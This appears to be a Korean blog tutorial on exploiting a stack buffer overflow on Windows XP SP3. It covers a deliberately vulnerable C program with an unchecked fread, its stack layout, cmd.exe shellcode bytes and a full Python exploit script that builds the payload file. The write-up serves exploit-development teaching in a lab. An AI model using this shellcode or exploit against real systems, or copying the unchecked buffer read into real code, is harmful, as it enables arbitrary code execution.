최초 작성일 : 2014/07/31
Windows Buffer Overflow #3
- 환경
Windows XP Professional K Version 2002 SP3 VC++ 6.0 |
1. 대상 프로그램
이번 대상 프로그램은 동일한 폴더의 위치에서 badfile의 이름을 가진 파일을 읽어 출력하는 단순한 프로그램이다. 하지만 해당 프로그램에서 버퍼에 데이터를 저장할 때 별도의 제한 없이 파일의 데이터 크기만큼 버퍼에 저장하여 overflow가 발생한다.
// bof.cpp #include <stdlib.h> #include <stdio.h> #include <string.h>
int main(int argc, char **argv) { char str[100]; FILE *badfile; int lSize;
badfile = fopen("badfile", "r");
fseek (badfile , 0, SEEK_END); lSize = ftell (badfile); rewind (badfile); memset(str, 0, sizeof(char) * 100); fread(str, sizeof(char), lSize, badfile);
printf("str : %s\n", str); printf("Returned Properly\n"); return 1; } |
2. 취약점 확인
badfile을 bof.exe 폴더 위치에 다음과 같이 생성한다.
[그림1] badfile 내용
bof.exe 를 실행하면 badfile을 읽어 들여 화면에 출력한다.
[그림2] bof.exe 실행하면 badfile의 내용 출력
하지만 fread 함수에서 badfile에 저장된 데이터의 크기만큼 읽어 들여 입력 값 길이의 검증 없이버퍼에 저장하게 되므로 결국 buffer overflow가 발생한다.
[그림3] bof 발생
3. Stack 구조
디버거로 stack을 확인 해본 결과 buf(100byte) + sfp(4byte) + ret(4byte) 의 구조를 가진다. 아래 내용을 badfile로 생성하고 bof.exe를 실행하면 eip가 overflow되어 Offset이 41414141(AAAA)을 가르키게 된다.
12345678901234567890123456789012345678901234567890123456789012345678901234567890123456789012345678901234AAAA |
[그림4] eip 변조 확인
Stack에서 buf의 시작 주소는 0x0012FF1C 임을 확인할 수 있다. 적당히 buf의 시작 주소 부근에 jump 하도록 하자.
[그림5] stack 구조
4. payload 구성
공격에 사용될 payload를 구성해 보면 다음과 같다.
buf = 100byte
sfp = 4byte
ret = 4byte
buf에 nop과 shellcode를 담는다. ret를 buf에 가도록 하면 shellcode가 실행된다.
[ buf ][ ebp ][ ret ]
[ nop+shellcode ][ 1234 ][ jmp buf ]
buf | sfp | ret |
nop+shellcode | 1234 | jmp buf |
nop = "\x90" * 60 # 60byte
shellcode = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte # cmd.exe 실행
sfp = "1234"
ret = "0x0012FF2C " # buf 주소 부근. nop 중간에 떨어지게 했다.
최종 payload는 다음과 같다.
buf | sfp | ret |
nop+shellcode | 1234 | 0x0012FF2C |
5. Buffer Overflow 공격
다음과 같이 python exploit을 작성하여 badfile을 생성하고, bof.exe를 실행하여 bof를 발생시킨다.
// fread_bof.py import sys import struct
filename = "badfile"
nop = "\x90" * 60 shellcode = "\x55\x8b\xec\x83\xec\x44\xc6\x45\xfc\x63\xc6\x45\xfd\x6d\xc6\x45\xfe\x64\x6a\x05\x8d\x45\xfc" shellcode += "\x50\xb8\xad\x23\x86\x7c\xff\xd0\x6a\x01\xb8\xfa\xca\x81\x7c\xff\xd0" # 40byte sfp = "1234" ret = struct.pack('<L', 0x0012FF2C)
payload = nop + shellcode + sfp + ret print "Payload size : ", len(payload)
f = open(filename, 'w') f.write(payload) f.close() |
[그림6] bof attack 성공
6. 참고사이트
http://stackoverflow.com/questions/14847015/homework-buffer-overflow
'BOF' 카테고리의 다른 글
[BOF] BOF 개요 (0) | 2017.04.29 |
---|---|
[windows] windows buffer overflow #2 (0) | 2017.04.01 |
[windows] windows buffer overflow #1 (0) | 2017.04.01 |